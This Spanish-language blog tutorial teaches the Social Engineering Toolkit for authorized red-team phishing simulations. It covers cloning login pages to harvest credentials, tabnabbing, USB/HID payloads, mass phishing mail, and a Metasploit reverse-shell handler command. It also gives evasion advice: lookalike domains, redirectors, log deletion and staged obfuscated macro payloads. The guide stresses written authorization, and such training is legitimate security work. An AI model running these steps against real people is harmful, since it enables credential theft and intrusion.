El Social Engineering Toolkit (SET) es una de las herramientas más importantes en el arsenal de un red teamer — y también una de las más incomprendidas. Construido específicamente para ataques de ingeniería social, no es un simple script para novatos. Usado correctamente, SET simula exactamente las cadenas de ataque que utilizan los actores de amenazas reales para comprometer organizaciones.
Esta guía cubre todo: instalación, módulos de ataque, captura de credenciales, campañas de spear phishing, clonación de sitios web y las consideraciones de OPSEC que separan un engagement exitoso de una infraestructura quemada.
¿Qué es SET?
El Social Engineering Toolkit fue creado por Dave Kennedy (@HackingDave ) en TrustedSec . Es un framework de Python de código abierto diseñado específicamente para ataques de ingeniería social en pruebas de penetración autorizadas y engagements de red team.
SET viene preinstalado en Kali Linux y está incluido en la mayoría de las distribuciones de pentesting. Estandariza los vectores de ataque de ingeniería social que de otro modo requerirían combinar múltiples herramientas.
Capacidades principales:
- Campañas de correo spear phishing
- Captura de credenciales web (clonar + capturar)
- Ataques USB/HID maliciosos
- Generación de medios infectados
- Ataques de correo masivo
- Integración con Metasploit para entrega de payloads
- Múltiples vectores de ataque web
SET está detrás de una parte significativa de las simulaciones de phishing del mundo real — y de una gran porción de las campañas de actores de amenazas reales que los investigadores de seguridad han analizado.
Requisitos Previos
Antes de ejecutar SET, necesitas un entorno adecuado. Ejecutar herramientas de ingeniería social desde tu IP doméstica o laptop personal es una señal de alerta para los blue teams y destruye la separación de atribución.
Para engagements autorizados, usa un VPS dedicado:
Un VPS de Vultr o DigitalOcean te da una IP limpia, ciclos fáciles de snapshot/destrucción y flexibilidad geográfica. Con $6/mes tienes suficiente capacidad para ejecutar SET, alojar páginas de captura de credenciales y enrutar tráfico a través de redirectores.
Requisitos mínimos:
- Linux (Kali, Parrot o Ubuntu 22.04+)
- Python 3.x
- Acceso root/sudo
- Conectividad a internet desde una IP no atribuible
Instalación
Kali Linux (Preinstalado)
SET viene incluido con Kali. Lánzalo directamente:
sudo setoolkit
Si falta o está desactualizado:
sudo apt update
sudo apt install set
Instalación Manual (VPS Ubuntu/Debian)
# Instalar dependencias
sudo apt update
sudo apt install -y python3 python3-pip git
# Clonar el repositorio
cd /opt
sudo git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit
# Instalar dependencias
sudo pip3 install -r requirements.txt
# Instalar SET
sudo python3 setup.py
# Lanzar
sudo setoolkit
Verificar la Instalación
setoolkit --version
SET mostrará su banner de versión y el aviso de licencia. Siempre lee el aviso: establece explícitamente que esta herramienta es solo para uso autorizado. Ejecutarla contra objetivos sin autorización escrita es un delito federal en la mayoría de las jurisdicciones.
La Interfaz de SET
Al lanzar SET, verás el menú principal:
[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
La opción 1 es donde pasarás la mayor parte del tiempo. Repasemos los vectores de ataque.
Vectores de Ataque Principales
1. Vectores de Ataque Spear-Phishing
1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
El spear phishing en SET combina un payload malicioso con un correo elaborado. El flujo de trabajo:
- Seleccionar un payload (exploit PDF, macro de Office, HTA, etc.)
- Seleccionar o crear una plantilla de correo
- Configurar los ajustes SMTP
- Lanzar la campaña
Formatos de archivo que soporta SET:
- Adobe PDF con EXE embebido
- Exploit RTF de Microsoft Word
- Microsoft Word 2003 XML
- Ataque HTA (Aplicación HTML)
- Shell Reverso con PowerShell
# Navegación dentro del menú de SET:
# 1 → Spear-Phishing → 2 (FileFormat Payload) →
# elegir payload → configurar SMTP → lanzar
Nota de OPSEC: Nunca uses un payload que contacte de vuelta a tu IP personal. Siempre enruta las devoluciones a través de un redirector C2. Consulta nuestra guía de infraestructura C2 para red teams para la configuración completa.
2. Vectores de Ataque Web
Este es el módulo más usado de SET para captura de credenciales. Cuatro sub-opciones:
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
Credential Harvester — La Herramienta Principal
Este es el ataque que más usarás en simulaciones de phishing autorizadas:
Website Attack Vectors → Credential Harvester Attack Method
Tres opciones para el harvester:
Opción 1: Plantillas Web — SET tiene clones integrados de Gmail, Google, Twitter, Facebook, Yahoo, LinkedIn y más. Rápido y funcional.
Opción 2: Clonador de Sitios — Clona cualquier sitio web por URL. SET lo rastrea y reemplaza la acción del formulario para que apunte de vuelta a tu listener.
Opción 3: Importación Personalizada — Trae tu propio HTML. Más útil cuando estás imitando el portal interno de un cliente.
Ejecutando el credential harvester:
# Lanzar SET
sudo setoolkit
# Navegar:
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner
# SET pregunta:
# IP address for POST back (tu IP del servidor): 10.0.0.5
# URL to clone: https://login.example.com
# SET inicia un servidor web en el puerto 80
# Todas las credenciales capturadas se muestran en consola y se guardan en /root/.set/
Las credenciales se registran en:
/root/.set/reports/harvester_TIMESTAMP.txt
Web Jacking Attack Method
Combina clickjacking con robo de credenciales. SET crea una ventana emergente que persiste después de que el usuario cree haber cerrado la página de phishing. Cuando carga el sitio legítimo, el usuario ya está comprometido. Menos usado pero efectivo contra ciertas poblaciones de usuarios.
Tabnabbing
Abusa de la inactividad de las pestañas del navegador. SET inyecta JavaScript que reemplaza el contenido de una pestaña inactiva con una página de phishing cuando el usuario vuelve a ella. El usuario ve lo que parece ser una página legítima que dejó abierta — pero ahora es un prompt falso de inicio de sesión.
3. Generador de Medios Infectados
Genera payloads de autorun para ataques USB:
1) Social-Engineering Attacks
6) Infectious Media Generator
Crea:
- Payloads de Metasploit embebidos en autorun.inf
- Payloads basados en shellcode para Windows
- Exploits PDF para drops de documentos
Nota sobre la realidad actual: Windows moderno deshabilita el autorun por defecto. Los ataques USB HID (ver más adelante) son más efectivos en 2026. El módulo de medios infectados es útil para entornos legacy (OT/ICS, instalaciones antiguas de Windows).
4. Crear un Payload y Listener
Simplifica la creación de payloads + configuración del handler de Metasploit en un único flujo:
1) Social-Engineering Attacks
4) Create a Payload and Listener
Tipos de payload:
- Windows Meterpreter (TCP reverso, HTTPS reverso)
- Windows Shell (TCP reverso)
- Inyector de Shellcode Alfanumérico con PowerShell
- Inyección Multi-Memoria con Meterpreter
SET configura automáticamente el listener de Metasploit con el LHOST/LPORT correspondiente. Útil para generar rápidamente un payload para un adjunto de phishing sin configurar manualmente msfvenom + multi/handler.
5. Ataque de Correo Masivo
1) Social-Engineering Attacks
5) Mass Mailer Attack
Dos modos:
- Objetivo de correo único
- Correo masivo desde lista
SET gestiona la autenticación SMTP, soporta TLS y permite configurar cabeceras personalizadas para mejorar la entregabilidad. En la práctica, para engagements reales querrás un relay SMTP dedicado (SendGrid, Mailgun, o Postfix auto-alojado en un dominio preparado) en lugar del mailer integrado de SET — pero funciona para pruebas internas rápidas.
Configuración SMTP dentro de SET:
From address: helpdesk@[dominio-similar-cliente].com
Reply to: igual o diferente
Username: credenciales SMTP
Password: contraseña SMTP
SMTP server: mail.tudominio.com
SMTP port: 587
6. Vector de Ataque Basado en Arduino
SET puede generar payloads para ataques HID (Dispositivo de Interfaz Humana) basados en Arduino:
1) Social-Engineering Attacks
9) Arduino-Based Attack Vector
Esto escribe código compatible con Ducky Script que, cuando se carga en una placa compatible (USB Rubber Ducky, DigiSpark, etc.), se ejecuta al conectarse simulando un teclado. El OS objetivo lo ve como un teclado — no como dispositivo de almacenamiento — por lo que el AV/EDR no lo detecta.
Payloads comunes que genera SET:
- Descarga y ejecución con PowerShell
- Shell reverso via PowerShell
- Instalación de keylogger
7. Vector de Ataque por SMS Spoofing
1) Social-Engineering Attacks
10) SMS Spoofing Attack Vector
SET se integra con pasarelas SMS para enviar mensajes SMS falsificados. Requiere una cuenta con un proveedor SMS compatible. Útil para simulaciones de vishing/smishing cuando el alcance del engagement incluye vectores móviles.
Configuración de SET
El archivo de configuración de SET está en:
/etc/setoolkit/set.config
Ajustes clave:
# Navegador para captura de credenciales
WEBATTACK_EMAIL=OFF
METASPLOIT_PATH=/usr/share/metasploit-framework
# Apache vs servidor web Python
WEB_ATTACK_APACHE=OFF # ON = usar Apache en lugar del servidor Python
# Configuración de correo
DEFAULT_EMAIL_PROVIDER=GMAIL
# Reportes
REPORT_FORMAT=PDF
# Puerto del harvester
WEBATTACK_PORT=80
Ejecutar en el puerto 443 (harvester HTTPS):
La mayoría de las simulaciones de phishing necesitan HTTPS para evitar la suspicacia del usuario. Configura un certificado Let’s Encrypt y configura SET para usar Apache en lugar de su servidor Python integrado:
# Instalar certbot
sudo apt install certbot python3-certbot-apache
# Obtener certificado para tu dominio
sudo certbot --apache -d phishing.tudominio.com
# En set.config:
WEB_ATTACK_APACHE=ON
WEBATTACK_PORT=443
SET usará entonces tu configuración de Apache (con el certificado) como frontend web.
Consideraciones de OPSEC
Usar SET de forma descuidada quema tu infraestructura y puede alertar a un blue team. Esto es lo que importa:
1. Nunca ejecutes SET en una IP directa del engagement
Tu servidor C2 y tu harvester de credenciales deben estar en máquinas diferentes. Usa un redirector frente a tu harvester:
Objetivo → Dominio de phishing → Redirector (nginx/Apache) → Servidor SET harvester
Esto significa que si el blue team bloquea la IP del redirector, tu infraestructura C2 real permanece intacta.
2. La antigüedad del dominio importa
Un dominio registrado esta semana será marcado inmediatamente por las pasarelas de correo y los sistemas de advertencia de los navegadores. Para simulaciones de phishing realistas:
- Registra dominios similares 30-60 días antes del engagement
- Envía correos de bajo volumen desde el dominio antes de la campaña
- Comprueba la reputación del dominio con MXToolbox, VirusTotal y Talos antes de lanzar
3. Elimina la página predeterminada de SET
Cuando el servidor web de SET arranca, sirve una página de inicio genérica de SET antes de que la víctima cargue el contenido de phishing. Los blue teams y los escáneres automatizados que rastrean la URL de phishing lo identificarán. Personalízala:
# Editar la plantilla predeterminada
sudo nano /var/www/html/index.html
O configura Apache para servir un 404 para rutas que no sean de phishing.
4. Limpieza de logs
SET registra todo en /root/.set/. Después de un engagement:
# Revisar y archivar
sudo tar -czf /almacenamiento-seguro/harvest-engagement.tar.gz /root/.set/
sudo rm -rf /root/.set/reports/
5. Staging de payloads — nunca embeber shellcode directamente en documentos Office
Las tasas de detección son demasiado altas. Usa un payload por etapas: la macro de Office descarga un pequeño stager, que obtiene el Meterpreter real en memoria. Los payloads integrados de SET son bien conocidos; úsalos como referencia, luego personaliza con tu propia capa de ofuscación.
Integración de SET con Metasploit
SET y Metasploit fueron diseñados para trabajar juntos. Cuando generas un payload a través de SET, llama a msfvenom internamente y opcionalmente lanza un multi/handler:
# SET auto-lanza el handler cuando eliges un payload de Metasploit
# O lánzalo manualmente:
msfconsole -q -x "use exploit/multi/handler; \
set PAYLOAD windows/meterpreter/reverse_https; \
set LHOST 10.0.0.5; \
set LPORT 443; \
set ExitOnSession false; \
run -j"
Cuando una víctima hace clic en tu enlace de phishing y ejecuta el payload, la sesión de Meterpreter se abre en tu consola de Metasploit.
Flujo de Trabajo Real: Simulación de Captura de Credenciales
Aquí tienes un ejemplo completo de una simulación de phishing en ejecución:
Escenario: Simular un ataque de phishing de credenciales de Microsoft 365 contra un objetivo interno (autorizado).
# 1. Levantar VPS (Vultr/DO)
# 2. Instalar SET
# 3. Apuntar DNS: phishing.tudominio.com → IP del VPS
# 4. Obtener certificado SSL
sudo certbot --standalone -d phishing.tudominio.com
# 5. Configurar set.config para Apache + HTTPS
sudo nano /etc/setoolkit/set.config
# WEB_ATTACK_APACHE=ON
# 6. Lanzar SET
sudo setoolkit
# → 1 (Social-Engineering Attacks)
# → 2 (Website Attack Vectors)
# → 3 (Credential Harvester Attack Method)
# → 1 (Web Templates)
# → Establecer IP: IP del VPS
# → Seleccionar plantilla: Microsoft (o clonar el login real de M365)
# 7. Enviar correo de phishing con enlace elaborado
# Enlace: https://phishing.tudominio.com/
# 8. Monitorear credenciales capturadas
# La consola de SET muestra credenciales en tiempo real
# Guardadas en: /root/.set/reports/
La salida capturada se ve así:
[*] We captured a credential from the victim!
[*] POSSIBLE USERNAME FIELD FOUND: [email protected]
[*] POSSIBLE PASSWORD FIELD FOUND: passwd=ContraseñaEmpresa2026
Problemas Comunes y Soluciones
El servidor web de SET no arranca en el puerto 80:
# Verificar qué está usando el puerto 80
sudo lsof -i :80
# Terminarlo o cambiar SET a un puerto diferente en set.config
El clonado falla / página en blanco:
# Algunos sitios bloquean scrapers. Prueba primero con curl:
curl -A "Mozilla/5.0" https://sitio-objetivo.com
# Si está bloqueado, guarda manualmente el HTML de la página de login y usa la Opción 3 (Custom Import)
El handler de Metasploit no captura sesiones:
# Verificar que el listener está activo
msf > jobs
# Verificar que el firewall permite el LPORT entrante
sudo ufw allow 443/tcp
La actualización de SET falla:
cd /opt/social-engineer-toolkit
sudo git pull
sudo pip3 install -r requirements.txt --upgrade
Alternativas a Considerar
SET es un framework completo, pero no siempre es la herramienta adecuada:
| Escenario | Mejor Herramienta |
|---|---|
| Campañas de phishing a gran escala | GoPhish |
| Evasión avanzada necesaria | King Phisher, Evilginx2 |
| AiTM (adversario en el medio) | Evilginx2, Modlishka |
| Spear phishing con payloads personalizados | msfvenom manual + mailer personalizado |
| Ataques USB HID | Herramientas Hak5 (Rubber Ducky, Bash Bunny) |
SET es mejor para: simulaciones rápidas de phishing interno, prueba de concepto de captura de credenciales, y engagements donde necesitas una configuración rápida sin infraestructura personalizada.
Configurando tu Laboratorio
Para practicar SET de forma segura, necesitas un entorno de laboratorio aislado. Ejecutar una VM de Kali localmente funciona, pero un VPS en la nube te da más flexibilidad — especialmente para probar flujos de phishing contra servidores de correo externos.
Configuración recomendada:
- Vultr Cloud Compute — $6/mes, SSD rápido, ubicaciones globales. Levantar, practicar, destruir. IP limpia cada vez.
- DigitalOcean Droplets — Precios similares, excelente documentación, snapshots fáciles para guardar el estado del laboratorio.
Ambos soportan imágenes Kali de un clic o puedes desplegar Ubuntu e instalar manualmente. De cualquier forma, crea un snapshot de tu configuración base antes de ejecutar cualquier engagement para poder restablecer un estado limpio en minutos.
Límites Legales y Éticos
Esto es innegociable:
- Se requiere autorización por escrito. Siempre. Sin excepciones.
- SET es únicamente para pruebas de penetración autorizadas y formación en concienciación de seguridad.
- Ejecutar harvesters de credenciales o campañas de phishing sin autorización viola la Ley de Fraude y Abuso Informático (CFAA), el RGPD y las leyes equivalentes en todas las jurisdicciones.
- Si estás realizando formación en concienciación de seguridad, asegúrate de que RRHH y el departamento legal estén informados. Sorprender a los empleados con una prueba de phishing sin que sepan que puede existir una política que lo permita es un escenario diferente.
Mantén tu Declaración de Trabajo o carta de autorización accesible durante cada engagement.
Conclusión
SET es maduro, se mantiene activamente y cubre los vectores de ataque de ingeniería social principales que encontrarás en engagements reales. No es la herramienta más sofisticada para simulaciones avanzadas de APT — para eso necesitas infraestructura de phishing personalizada con Evilginx2 y payloads a medida. Pero para simulaciones de phishing autorizadas, PoCs de captura de credenciales y ejercicios de formación en red team, SET hace el trabajo con limpieza.
Aprende la herramienta. Entiende lo que hace internamente. Luego decide cuándo SET es suficiente y cuándo necesitas algo más potente.
¿Necesitas un VPS dedicado para tu laboratorio de red team o infraestructura de phishing? Vultr y DigitalOcean son las opciones preferidas — baratas, rápidas de levantar y fáciles de destruir después de un engagement.
¿Necesitas contenido de seguridad de nivel profesional para tu organización? CipherWrite ofrece redacción técnica de ciberseguridad — posts de blog, whitepapers y contenido de concienciación en seguridad — escrito por profesionales, no generalistas.
